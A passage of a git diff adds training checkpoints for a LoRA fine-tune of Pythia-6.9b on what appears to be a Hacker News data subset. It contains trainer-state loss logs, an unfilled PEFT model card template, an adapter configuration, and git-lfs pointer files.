"eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 3.8886613845825195, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5475, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 3.0486762523651123, + "eval_runtime": 43.7998, + "eval_samples_per_second": 22.831, + "eval_steps_per_second": 2.854, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 4.028053283691406, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5562, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 3.0449891090393066, + "eval_runtime": 43.7929, + "eval_samples_per_second": 22.835, + "eval_steps_per_second": 2.854, + "step": 640 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.048708607115264e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b1510de55d2752c977b6584b118040097252975c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b832af30285f842ec6ab50b718ca00e786f4812564ceda610aae8b6c8f835545 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..cbca57fc8b93bda47677a26bf64323dae9a8d371 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f9db94a76063877f16d13f7d51d5f78aaca3809b25135f69c6cb644d2ac055d5 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4d763156eb3a586b51733d4ec683a815a6ae5fab --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e66e316bd2615a5005aac13970f8b8e71830843ea716191e53ff7dc38997af08 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..75f881b3ec9ba86b1878709fb0af361a6f712546 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:31b02e0b7ebaaab7bf8f183e3b47970500df166e496df9fdd39405913db43e64 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..f11006a03d18b05ff2966a6b7c07b8b9b30322cc --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/trainer_state.json @@ -0,0 +1,1008 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.666666666666666, + "eval_steps": 10, + "global_step": 650, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + 